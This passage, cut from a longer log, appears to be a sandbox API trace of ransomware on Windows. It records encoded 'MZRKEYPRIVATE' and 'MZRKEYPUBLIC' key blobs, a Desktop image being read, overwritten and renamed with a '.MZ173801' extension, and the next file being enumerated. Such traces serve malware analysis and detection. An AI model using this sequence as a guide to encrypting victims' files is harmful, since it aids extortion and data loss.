sOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.886] GetCurrentThreadId () returned 0xab4 [0176.886] GetCurrentThreadId () returned 0xab4 [0176.886] GetCurrentThreadId () returned 0xab4 [0176.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.886] GetCurrentThreadId () returned 0xab4 [0176.887] GetCurrentThreadId () returned 0xab4 [0176.887] GetCurrentThreadId () returned 0xab4 [0176.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1eN.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\x1en.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.887] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.887] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.887] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x123c2 [0176.887] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.887] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x123c2, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x123c2, lpOverlapped=0x0) returned 1 [0176.889] CloseHandle (hObject=0x328) returned 1 [0176.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\x1eN.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\x1en.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.973] WriteFile (in: hFile=0x328, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x123c2, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19fa24*=0x123c2, lpOverlapped=0x0) returned 1 [0176.975] CloseHandle (hObject=0x328) returned 1 [0176.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\x1eN.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\x1en.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\x1eN.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\x1en.bmp.mz173801")) returned 1 [0176.976] GetCurrentThreadId () returned 0xab4 [0176.976] GetCurrentThreadId () returned 0xab4 [0176.976] GetCurrentThreadId () returned 0xab4 [0176.976] GetCurrentThreadId () returned 0xab4 [0176.976] GetCurrentThreadId () returned 0xab4 [0176.976] GetCurrentThreadId () returned 0xab4 [0176.976] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d400e0, ftCreationTime.dwHighDateTime=0x1d5e1cd, ftLastAccessTime.dwLowDateTime=0x341ed0, ftLastAccessTime.dwHighDateTime=0x1d5ec8c, ftLastWriteTime.dwLowDateTime=0x341ed0, ftLastWriteTime.dwHighDateTime=0x1d5ec8c, nFileSizeHigh=0x0, nFileSizeLow=0xfedf, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xadhbcV1t.mkv", cAlternateFileName="XADHBC~1.MKV")) returned 1 [0176.976] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.977] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xadhbcV1t.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xadhbcv1t.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d400e0, ftCreationTime.dwHighDateTime=0x1d5e1cd, ftLastAccessTime.dwLowDateTime=0x341ed0, ftLastAccessTime.dwHighDateTime=0x1d5ec8c, ftLastWriteTime.dwLowDateTime=0x341ed0, ftLastWriteTime.dwHighDateTime=0x1d5ec8c, nFileSizeHigh=0x0, nFileSizeLow=0xfedf)) returned 1 [0176.977] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xadhbcV1t.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xadhbcv1t.mkv")) returned 0x20 [0176.977] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xadhbcV1t.mkv", dwFileAttributes=0x80) returned 1 [0176.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K